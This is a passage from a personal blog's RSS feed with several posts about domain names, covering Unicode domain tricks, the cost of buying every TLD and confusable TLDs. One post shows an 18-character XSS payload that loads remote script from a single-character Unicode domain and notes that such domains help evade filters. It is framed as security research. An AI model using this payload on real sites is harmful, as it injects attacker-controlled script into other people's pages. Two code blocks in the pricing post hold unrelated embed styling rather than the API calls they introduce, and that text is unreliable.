<p>It didn't explicitly allow or deny hyphens - so I thought I'd risk it.</p>

<p>Oh well, that would have been fun if it worked.</p>

<p>As I said, it's important to publish about things which don't work. It stops other people from wasting their time on futile pursuits.</p>

<p>So, I've now got credit with the registrar. What .me.ss domain should I get?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=39635&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Buying a single character domain - and 3 character FQDN - for £15]]></title>
		<link>https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/</link>
					<comments>https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 15 Aug 2020 11:34:24 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tld]]></category>
		<category><![CDATA[unicode]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=36322</guid>

					<description><![CDATA[Short domains are useful for security testing. If you only have a limited number of characters, you need to be able to reference code on a remote server in as few characters as possible.  A few years ago, I tried to find a Minimum Viable XSS. The conclusion that I (and others) came to is that 20 characters is the bare minimum. But it requires you have a 2 character domain name on a 2-character…]]></description>
										<content:encoded><![CDATA[<p>Short domains are useful for security testing. If you only have a limited number of characters, you need to be able to reference code on a remote server in as few characters as possible.</p>

<p>A few years ago, I tried to find a <a href="https://shkspr.mobi/blog/2016/03/minimum-viable-xss/">Minimum Viable XSS</a>. The conclusion that I (<a href="https://jlajara.gitlab.io/web/2019/11/30/XSS_20_characters.html">and others</a>) came to is that 20 characters is the bare minimum. But it requires you have a 2 character domain name on a 2-character TLD. Something like <code>xy.uk</code></p>

<p>I don't think any 1- or 2-character domain names are available. If they're for sale, it will be at extortionate price. There are no Top-Level Domains shorter than 2 characters.</p>

<p>So, let's <em>cheat!</em></p>

<p>This is the story of how I bought a <em>single character</em> domain, and am able to reference it in 3 characters, for the cost of a round of drinks.</p>

<h2 id="brief-history"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#brief-history">Brief History</a></h2>

<p>As I discussed in <a href="https://shkspr.mobi/blog/2018/11/domain-hacks-with-unusual-unicode-characters/">Domain hacks with unusual Unicode characters</a> - there are a bunch of single Unicode codepoints which are <a href="https://www.unicode.org/charts/normalization/">normalised to 2- or 3-character sequences</a>.</p>

<p>For example, <code>㎐</code> is the scientific symbol for Hertz. It is a single codepoint (U+3390). When your browser sees it in a domain name, it automatically splits it into the <code>H</code> and <code>z</code> characters. This is called decomposition.</p>

<p>Based on my count, there are about 90 symbols which decompose into 2 characters - for example <code>™</code>, <code>㏄</code>, <code>ǳ</code>.
There are about 35 symbols which decompose into 3 characters - for example <code>㎪</code>, <code>㍹</code>, <code>ﬃ</code>.</p>

<p>But, as mentioned, it is almost impossible to find a cheap 2- or 3-letter domain name.</p>

<p>There are, however, a couple of <em>four</em> character decompositions!</p>

<h2 id="quidquid-latine-dictum-sit-altum-videtur"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#quidquid-latine-dictum-sit-altum-videtur"><span lang="la">Quidquid latine dictum sit, altum videtur</span></a></h2>

<p>The Romans didn't use a positional number system. The number 1 was Ⅰ, the number 2 was Ⅱ, the number 9 was Ⅸ.</p>

<p>But - look closely! The <code>Ⅰ</code> is not the English letter <code>I</code> - it is its own, separate, Unicode character <a href="https://www.compart.com/en/unicode/U+2160">(U+2160)</a>. And <code>Ⅱ</code> is <em>not</em> two <code>Ⅰ</code>s smushed together, it is <a href="https://www.compart.com/en/unicode/U+2161">(U+2161)</a>.</p>

<p>When decomposed, however, they return to English letters.</p>

<p>What's the <em>longest</em> Roman numeral captured in a single codepoint?</p>

<p>The number 8 is <code>Ⅷ</code> <a href="https://www.compart.com/en/unicode/U+2167">(U+2167)</a> - which decomposes to V I I I. Four characters!</p>

<blockquote><p>but apart from the sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, public health, <strong>and a number system suitable for character decomposition</strong> what have the Romans ever done for us?</p></blockquote>

<h2 id="tldr-tld"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#tldr-tld">tl;dr TLD</a></h2>

<p>There are a number of Top-Level Domains which can also be represented by a single character.</p>

<p>For example, Australia's TLD <code>.au</code> can be represented by the Astronomical Unit sign <code>㍳</code> <a href="https://www.compart.com/en/unicode/U+3373">(U+3373)</a>.</p>

<p>Most of those domains were expensive, or unavailable. But I found one which was both cheap and available.</p>

<iframe title="Monty Python - Finland (Official Lyric Video)" width="620" height="349" src="https://www.youtube.com/embed/baHsoEAAMZU?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Yes! The <a href="https://en.wikipedia.org/wiki/Orthographic_ligature">orthographic ligature</a> of <code>ﬁ</code> decomposes to <code>f</code> and <code>i</code>. That's the TLD for Finland.</p>

<p>I was able to register a Finnish domain on <a href="https://gandi.link/f/0e14fbd6">Gandi</a> for £15.</p>

<h2 id="%e2%85%b7-%ef%ac%81"><a href="https://Ⅷ.ﬁ/"><code>Ⅷ.ﬁ</code></a><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#%e2%85%b7-%ef%ac%81">🔗</a></h2>

<p>That's Roman Numeral Eight (U+2167), dot (U+002E), Latin Small Ligature Fi (U+FB01).</p>

<h2 id="is-this-useful"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#is-this-useful">Is this useful?</a></h2>

<p>This gives me a Minimum Viable XSS in <em>eighteen</em> characters!</p>

<ul>
<li><code>&lt;script src=//Ⅷ.ﬁ&gt;</code></li>
</ul>

<p>I'm <em>pretty</em> sure that's the shortest possible sequence!</p>

<p>Or, for loading remote resources in 15 characters:</p>

<ul>
<li><code>&lt;img src=//Ⅷ.ﬁ&gt;</code></li>
</ul>

<p>There aren't many sites which are secured <em>only</em> by using a restricted character count - thankfully! But shrunk domains can also be useful for evading all sorts of filters.</p>

<h2 id="other-domains-are-available"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#other-domains-are-available">Other domains are available</a></h2>

<p>There's one other 4-character decomposition available - see if you can find it!<br>
There are a few shrinkable TLDs which still have some of the 2- and 3-character domains available, but they are extortionately priced.</p>

<p>If you do grab one of these, and make something cool with it, please let me know.</p>

<h2 id="support-this-blog"><a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/#support-this-blog">Support this blog</a></h2>

<p>If you've learned something from my blog posts, here's how you can return the favour:</p>

<ul>
<li><a href="https://amzn.to/340wTFk">Buy me something nice from my Amazon wishlist</a></li>
<li><a href="https://ko-fi.com/edent">Support me on Ko-Fi</a></li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=36322&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/feed/</wfw:commentRss>
			<slash:comments>19</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[How much would it cost to buy every domain name?]]></title>
		<link>https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/</link>
					<comments>https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 19 May 2019 11:18:38 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[iana]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[tld]]></category>
		<category><![CDATA[web]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=32092</guid>

					<description><![CDATA[The ridiculous proliferation of TLDs (Top Level Domains) continues unabated.  I wondered how much you&#039;d have to spend to secure your name on every TLD.  tl;dr;tld  Over $300,000!  (Roughly €280.000 / £245,000.)  But...  This estimate is pretty rough. A few caveats:   This only covers one version of your domain name - it doesn&#039;t cover misspellings. I&#039;ve assumed a single year of registration. Some d…]]></description>
										<content:encoded><![CDATA[<p>The <a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/">ridiculous proliferation of TLDs</a> (Top Level Domains) continues unabated.  I wondered how much you'd have to spend to secure your name on <em>every</em> TLD.</p>

<h2 id="tldrtld"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#tldrtld">tl;dr;tld</a></h2>

<p>Over $300,000!</p>

<p>(Roughly €280.000 / £245,000.)</p>

<h2 id="but"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#but">But...</a></h2>

<p>This estimate is pretty rough. A few caveats:</p>

<ol>
<li>This only covers one version of your domain name - it doesn't cover misspellings.</li>
<li>I've assumed a single year of registration. Some domains give discounts for multiple years, or only offer multi-year registration.</li>
<li>Some TLDs have a discount for the first year.</li>
<li>Some TLDs only let you register if you're a citizen of that country, or have a business presence there. I've assumed that you do.</li>
<li>There are several TLDs which only let you register using a specific language for your domain - for example Chinese domains require Chinese characters. I've assumed that you're buying one of those as well.</li>
<li>Some TLDs can't be registered - for example .gov, .mil, .int - they have been excluded.</li>
<li>Bulk domain purchases may result in a discount. I'm using retail pricing rather than wholesale.</li>
<li>Depending on where you live, different countries' prices and tax rates may vary considerably.</li>
</ol>

<h2 id="data"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#data">Data</a></h2>

<p>It is surprisingly hard to find what the base cost is of all the domains. There are currently <a href="https://data.iana.org/TLD/tlds-alpha-by-domain.txt">over 1,500 possible TLDs</a>!</p>

<p>The number of domains available to register is even higher because some TLDs allow for 2nd level registration. For example, .org.uk, .co.uk, or .co.in, etc.</p>

<p>The Registry which controls a set of specific TLDs is more-or-less free to set any pricing policy they want.  I couldn't find any official data for those policies. If you do know, please leave a comment.</p>

<h2 id="data-sources"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#data-sources">Data Sources</a></h2>

<p>The Registrar - the entity which sells you the domain - is free to set its own pricing.  There are many retailers of domain names - let's look at some popular ones.</p>

<h2 id="cloudflare"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#cloudflare">Cloudflare</a></h2>

<p>Some, like <a href="https://www.cloudflare.com/products/registrar/">Cloudflare</a> promise to only charge you the wholesale cost, but refuse to tell you what the costs are unless you have a domain to transfer to them. <a href="https://www.cloudflare.com/tld-policies/">They also only support 200 TLDs</a>.</p>

<h3 id="google"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#google">Google</a></h3>

<p><a href="https://web.archive.org/web/20190513031304/https://support.google.com/domains/answer/6010092?hl=en">Google supports 273 TLDs</a> - but they do list prices for each one.</p>

<p>If you were to register a domain on all 273 TLDs it would cost you <strong><code>£8,550</code> per year!</strong></p>

<h3 id="gandi"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#gandi">Gandi</a></h3>

<p>I looked at <a href="https://www.gandi.net/en/domain/tld?prefix=a">Gandi - who provide a full price list</a>. Sadly, it is in PDF, so I had to use <a href="https://tabula.technology/">Tabula</a> to extract the data.  They sell 747 TLDs - from .abogado (£42) to .yt (£12).</p>

<p>If you bought every TLD that Gandi sell, it would cost you a whopping <strong><code>£92,131.08</code>!</strong></p>

<p>Fun fact: Gandi's most expensive domain is <code>.makeup</code> for <code>£7,146.76</code>.</p>

<h3 id="101domains"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#101domains">101domains</a></h3>

<p>According to <a href="https://tld-list.com/registrars/">TLD List</a>, the registrar with the most TLDs offered is 101domains with 1,836 possible names!</p>

<p>There is an API available for 101domains pricelist! You can parse through it alphabetically using:</p>

<pre><code class="language-_"> &lt;div class="activitypub-embed u-in-reply-to h-cite"&gt; &lt;div class="activitypub-embed-header p-author h-card"&gt; &lt;div class="activitypub-embed-header-text"&gt; &lt;h2 class="p-name"&gt;&lt;/h2&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="activitypub-embed-content"&gt; &lt;/div&gt; &lt;div class="activitypub-embed-meta"&gt; &lt;/div&gt; &lt;/div&gt; &lt;style&gt;/** * ActivityPub embed styles. */ .activitypub-embed { background: #fff; border: 1px solid #e6e6e6; border-radius: 12px; padding: 0; max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; } .activitypub-reply-block .activitypub-embed { margin: 1em 0; } .activitypub-embed-header { padding: 15px; display: flex; align-items: center; gap: 10px; } .activitypub-embed-header img { width: 48px; height: 48px; border-radius: 50%; } .activitypub-embed-header-text { flex-grow: 1; } .activitypub-embed-header-text h2 { color: #000; font-size: 15px; font-weight: 600; margin: 0; padding: 0; } .activitypub-embed-header-text .ap-account { color: #687684; font-size: 14px; text-decoration: none; } .activitypub-embed-content { padding: 0 15px 15px; } .activitypub-embed-content .ap-title { font-size: 23px; font-weight: 600; margin: 0 0 10px; padding: 0; color: #000; } .activitypub-embed-content .ap-subtitle { font-size: 15px; color: #000; margin: 0 0 15px; } .activitypub-embed-content .ap-preview { border: 1px solid #e6e6e6; border-radius: 8px; overflow: hidden; } .activitypub-embed-content .ap-preview img { width: 100%; height: auto; display: block; } .activitypub-embed-content .ap-preview-text { padding: 15px; } .activitypub-embed-meta { padding: 15px; border-top: 1px solid #e6e6e6; color: #687684; font-size: 13px; display: flex; gap: 15px; } .activitypub-embed-meta .ap-stat { display: flex; align-items: center; gap: 5px; } @media only screen and (max-width: 399px) { .activitypub-embed-meta span.ap-stat { display: none !important; } } .activitypub-embed-meta a.ap-stat { color: inherit; text-decoration: none; } .activitypub-embed-meta strong { font-weight: 600; color: #000; } .activitypub-embed-meta .ap-stat-label { color: #687684; } &lt;/style&gt;
</code></pre>

<p>And grab the International Domain Names with:</p>

<pre><code class="language-_"> &lt;div class="activitypub-embed u-in-reply-to h-cite"&gt; &lt;div class="activitypub-embed-header p-author h-card"&gt; &lt;div class="activitypub-embed-header-text"&gt; &lt;h2 class="p-name"&gt;&lt;/h2&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="activitypub-embed-content"&gt; &lt;/div&gt; &lt;div class="activitypub-embed-meta"&gt; &lt;/div&gt; &lt;/div&gt; &lt;style&gt;/** * ActivityPub embed styles. */ .activitypub-embed { background: #fff; border: 1px solid #e6e6e6; border-radius: 12px; padding: 0; max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; } .activitypub-reply-block .activitypub-embed { margin: 1em 0; } .activitypub-embed-header { padding: 15px; display: flex; align-items: center; gap: 10px; } .activitypub-embed-header img { width: 48px; height: 48px; border-radius: 50%; } .activitypub-embed-header-text { flex-grow: 1; } .activitypub-embed-header-text h2 { color: #000; font-size: 15px; font-weight: 600; margin: 0; padding: 0; } .activitypub-embed-header-text .ap-account { color: #687684; font-size: 14px; text-decoration: none; } .activitypub-embed-content { padding: 0 15px 15px; } .activitypub-embed-content .ap-title { font-size: 23px; font-weight: 600; margin: 0 0 10px; padding: 0; color: #000; } .activitypub-embed-content .ap-subtitle { font-size: 15px; color: #000; margin: 0 0 15px; } .activitypub-embed-content .ap-preview { border: 1px solid #e6e6e6; border-radius: 8px; overflow: hidden; } .activitypub-embed-content .ap-preview img { width: 100%; height: auto; display: block; } .activitypub-embed-content .ap-preview-text { padding: 15px; } .activitypub-embed-meta { padding: 15px; border-top: 1px solid #e6e6e6; color: #687684; font-size: 13px; display: flex; gap: 15px; } .activitypub-embed-meta .ap-stat { display: flex; align-items: center; gap: 5px; } @media only screen and (max-width: 399px) { .activitypub-embed-meta span.ap-stat { display: none !important; } } .activitypub-embed-meta a.ap-stat { color: inherit; text-decoration: none; } .activitypub-embed-meta strong { font-weight: 600; color: #000; } .activitypub-embed-meta .ap-stat-label { color: #687684; } &lt;/style&gt;
</code></pre>

<p>Sadly, it doesn't list all domains on one call, so you have to grab each one. It only provides prices in USD.</p>

<p>But, when you add up all the domain names provided, the total cost to register them all would be <strong><code>$311,852.42</code></strong>!</p>

<p>The most expensive TLD on 101domains is <a href="https://www.101domain.com/hoteles.htm"><code>.hoteles</code></a> for <code>$65,000</code>!</p>

<h2 id="whats-the-point"><a href="https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/#whats-the-point">What's the point?</a></h2>

<p>It's unlikely that anyone would actually go ahead and do this. You'd need more money than sense if you wanted to protect your brand across every domain. It's probably cheaper to register a name once and then issue legal threats against anyone registering your name on an obscure TLD.</p>

<p>It <a href="https://newgtlds.icann.org/en/applicants/global-support/faqs/faqs-en">costs $185,000 to own your own TLD</a>. Plus you also have to show that you have the resources to maintain it.</p>

<p>That's exactly what Sony did. They bought the <code>.xperia</code> TLD - presumably so that they wouldn't have to register domains in every country.  But, <a href="https://blog.benjojo.co.uk/post/the-death-of-a-tld">as Ben Cox pointed out</a>, they then dropped it.</p>

<blockquote class="social-embed" id="social-embed-1022503156180234240" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/Benjojo12" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRuABAABXRUJQVlA4INQBAACwCgCdASowADAAPrVOnEonJKKhrjv7MOAWiWkAEgV9+3gTno+hlHZzvB3e9rFqE6jmMoDYBuCFWaNrZ0gfjSeoxNjTULoY+rt0VO3NmryrKWQ+P+shJE2iq+aUZBYAAP7yk/H3P+FL7uClDK2HXeQYRBN++i+q36UpJhe36jZhX19dYzOKrZKfnErffi7s96MZ0DHjrr8Ph0eb3q2VgCp0qfMRRHwEV2y8BrZAx8rC3u0x0wqeTu3FPFVu59sAQ5NPqTe2kaW+8b3YNQQZIEPCVF5AI0iJz1yVTGlSNPKYhe7sesF38Ndu30xwArksYSQdnfvxLZvowVLMZccAzo5gdq2NT80DThKqTjk53CAJCOB8oEjDwYfx6cad96jyFboqyAJ81k2StWAdl9S66eIkkC8L6OZLpCPyXNvOIys1DP4l0D7hbeJ32oNO+q56d9IrS7mUvS0d7AM23kR7k7zcsPNIEr1dGklsVWqeIVN2FG7Yol4brOvnZHvAh9Hkvn2ZcTlBJng+XFEdmT0Wx8y6xMZ87BvcS5q+VHhUCX+ALyvAK1Uf7A+Z0HB6PYUC43QJIF1UYv7jH6ot0uRR4XmTDO4Rqpqx+RZt8m4gmMzTIQWIAAA=" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Ben Cox (EOL @benjojo@benjojo.co.uk)</p>@Benjojo12</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Sony deleted a TLD, a whole TLD.<br><br>This is a strange future. <a href="https://twitter.com/ianawhois/status/1020694903033073665">x.com/ianawhois/stat…</a><blockquote class="social-embed" id="social-embed-1020694903033073665" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/ianawhois" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRr4AAABXRUJQVlA4ILIAAABQBgCdASowADAAPrVGn0onI6KhtVK6qOAWiWcAyZBAAMl5qhtXF20/U9BnyFHkST/sbd92xM44BG2TkAD+9GvpUXJ+inp/RDNi4C+6VLh99466BSdXNY/zeNX5LqRGlX+ar7t8jaErZ2AbIYoodfjlzlm1swwOHJ8uHcAILkWABQeRy2SmgIdXXGZWwHcinsHMxqbZqzcURlghjqsPU/ZfACOECwS5f9IFZo61mn9VFwAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">IANA whois updates</p>@ianawhois</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">IANA whois: deleted TLD XPERIA <a href="http://www.iana.org/domains/root/db/xperia.html">iana.org/domains/root/d…</a></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/ianawhois/status/1020694903033073665"><span aria-label="58 likes" class="social-embed-meta">❤️ 58</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="14 reposts" class="social-embed-meta">🔁 14</span><time datetime="2018-07-21T15:40:03.000Z" itemprop="datePublished">15:40 - Sat 21 July 2018</time></a></footer></blockquote></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/Benjojo12/status/1022503156180234240"><span aria-label="509 likes" class="social-embed-meta">❤️ 509</span><span aria-label="11 replies" class="social-embed-meta">💬 11</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2018-07-26T15:25:24.000Z" itemprop="datePublished">15:25 - Thu 26 July 2018</time></a></footer></blockquote>

<p>So, $185k to run your own domain - or $300k to buy your domain name everywhere. Which would you choose?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=32092&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2019/05/how-much-would-it-cost-to-buy-every-domain-name/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[IANA Insanity - or, how I learned to stop .worrying and .love the .new .internet]]></title>
		<link>https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/</link>
					<comments>https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 27 Jul 2016 16:15:59 +0000</pubDate>
				<category><![CDATA[usability]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[iana]]></category>
		<category><![CDATA[rage]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=23134</guid>

					<description><![CDATA[In The Beginning  There was the .com and the .org and the .net and it was good.  And, I mean, there were probably a few others - but that&#039;s all people cared about.  Go Forth And Multiply  And THE LORD sayeth &#34;Hey, do people want country codes? Like .UK, .FR, .DE?&#34;  And the people were all like &#34;Duh! Yeah!&#34;  Except for the people of the American United States. For they gnashed their teeth and…]]></description>
										<content:encoded><![CDATA[<h2 id="in-the-beginning"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#in-the-beginning">In The Beginning</a></h2>

<p>There was the .com and the .org and the .net and it was good.</p>

<p>And, I mean, there were probably a few others - but that's all people cared about.</p>

<h2 id="go-forth-and-multiply"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#go-forth-and-multiply">Go Forth And Multiply</a></h2>

<p>And THE LORD sayeth "Hey, do people want country codes? Like .UK, .FR, .DE?"</p>

<p>And the people were all like "Duh! Yeah!"</p>

<p>Except for the people of the American United States. For they gnashed their teeth and wailed "We invented the Internet. There's no way we are going to use .US.  We'll take the top level, thanks."</p>

<p>And many did wonder if they should have let them have .USAUSAUSA!</p>

<h2 id="the-descent-into-madness"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#the-descent-into-madness">The Descent Into Madness</a></h2>

<p>And some people were not satisfied.  And lo! They asked for more domains and THE LORD shrugged and said "Eh. Sure. Why not?"</p>

<p>And thus .mobi and .biz and .tel and their brethren were born. Yet no one used them. Dust returned to the land.  Still the people cried out for more.</p>

<h2 id="the-end-of-days"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#the-end-of-days">The End Of Days</a></h2>

<p>In that time, a certain man was heard to say "Wouldn't it be cool if we could have .Nokia? Or, like, any top level domain we wanted?"</p>

<p>The wise elders spat on the ground and sang as one "That is the dumbest idea that we ever heard. Literally, what is the point?"</p>

<p>But the people of the valley were vain, and each man wanted his own top level domain.</p>

<p>So rang out the cry "Open up your wallets and prepare to have them emptied."</p>

<p>And the people of the valley emptied their wallets. And it was bad.</p>

<h2 id="the-great-confusion"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#the-great-confusion">The Great Confusion</a></h2>

<p>In the great accounting house, a young scribe grew weary. "Why do I not have a domain, oh Lord?" he prayed.</p>

<p>And THE LORD appeared in front of him in the vision of a burning bunch of pink-carbon-paper which really should have gone to Janice in Accounts-Receivable last week.</p>

<p>"<strong>ALL COUNTERS OF MONEY SHALL HAVE A DOMAIN!</strong>"</p>

<p>And so it was that the young man was asked if he wanted a <a href="https://www.iana.org/domains/root/db/accountant.html">.accountant domain</a> managed by Famous Four Media Limited, or if he would prefer an almost identical but subtly different <a href="https://www.iana.org/domains/root/db/accountants.html">.accountant<strong>s</strong> domain</a> managed by Donuts Inc.</p>

<p>The boy trembled. "How am I to tell the difference, oh Lord? Won't there be a confusion upon the land?"</p>

<p>"<strong>THAT'S A GOOD POINT. YOU'D BETTER BUY BOTH JUST TO BE ON THE SAFE SIDE.</strong>"  And THE LORD did vanish.</p>

<p>And their <em>was</em> much confusion.</p>

<h2 id="how-much-confusion"><a href="https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/#how-much-confusion">How Much Confusion?</a></h2>

<p>(I've stopped writing in that spoof-Biblical style now)</p>

<p>Take a look at the <a href="https://data.iana.org/TLD/tlds-alpha-by-domain.txt">latest list of top level domains</a>.</p>

<p>Here are all the domains which I think are easily confusable - or seemingly duplicates.  Some are brand new, some are not.</p>

<ul>
<li>.accountant</li>
<li>.accountants</li>
<li>.chanel</li>
<li>.channel (As in "TV Channel" not the French Fashion House) </li>
<li>.fan</li>
<li>.fans</li>
<li>.game</li>
<li>.games</li>
<li>.loan</li>
<li>.loans</li>
<li>.market</li>
<li>.markets</li>
<li>.mobi</li>
<li>.mobily (Completely unrelated, but quite similar)</li>
<li>.onl</li>
<li>.online (seriously, .<a href="http://www.i-registry.com/onl-domain.htm">onl's advert</a> says "As short and catchy as .com - As universal and practical as <a href="http://radix.website/dot-online/">.online</a>"!)</li>
<li>.paris</li>
<li>.pars (An easy typo to make)</li>
<li>.photo</li>
<li>.photography</li>
<li>.photos</li>
<li>.prod</li>
<li>.productions</li>
<li>.review</li>
<li>.reviews</li>
<li>.sex</li>
<li>.sexy</li>
<li>.tech</li>
<li>.technology (Again, separate companies managing these similar domains)</li>
<li>.theatre</li>
<li>.theater (OK, the Yanks and the Brits spell this differently!)</li>
<li>.tkmaxx</li>
<li>.tjmaxx (These are both the same store group, but it's called TK Maxx in the UK to avoid confusion with the similarly names TJ Hughes)</li>
<li>.watch</li>
<li>.watches</li>
<li>.win</li>
<li>.wine</li>
<li>.vin (<a href="https://web.archive.org/web/20150222125421/http://www.steveheimoff.com/index.php/2014/07/07/concerning-those-controversial-wine-domains/">This is a controversial issue in the wine world</a>)</li>
<li>.work</li>
<li>.works</li>
</ul>

<p>I'm sure there are a few I've missed - but that's already a huge scope for confusion, impersonation, and duplication.</p>

